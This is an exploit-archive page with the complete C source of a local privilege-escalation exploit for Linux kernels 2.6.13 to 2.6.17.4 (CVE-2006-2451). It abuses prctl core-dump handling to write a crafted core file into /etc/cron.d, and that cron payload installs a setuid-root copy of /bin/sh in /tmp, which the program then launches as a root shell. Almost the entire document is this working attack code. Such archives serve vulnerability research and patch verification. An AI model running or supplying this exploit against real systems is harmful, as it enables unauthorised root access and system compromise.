Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (1)

Related Vulnerabilities: CVE-2006-2451  
Publish Date: 11 Jul 2006
                							

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/* Local r00t Exploit for:                           */
/* Linux Kernel PRCTL Core Dump Handling             */
/* ( BID 18874 / CVE-2006-2451 )                     */
/* Kernel 2.6.x  (&gt;= 2.6.13 &amp;&amp; &lt; 2.6.17.4)           */
/* By:                                               */
/* - dreyer    &lt;luna@aditel.org&gt;   (main PoC code)   */
/* - RoMaNSoFt &lt;roman@rs-labs.com&gt; (local root code) */
/*                                  [ 10.Jul.2006 ]  */
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#include &lt;stdio.h&gt;
#include &lt;sys/time.h&gt;
#include &lt;sys/resource.h&gt;
#include &lt;unistd.h&gt;
#include &lt;linux/prctl.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;signal.h&gt;

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";

int main() { 
    int child;
    struct rlimit corelimit;
    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
    printf("By: dreyer &amp; RoMaNSoFt\n");
    printf("[ 10.Jul.2006 ]\n\n");

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &amp;corelimit);

    printf("[*] Creating Cron entry\n");

    if ( !( child = fork() )) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }

    kill(child, SIGSEGV);

    printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
    sleep(62);

    printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
    system("/tmp/sh -i");
}

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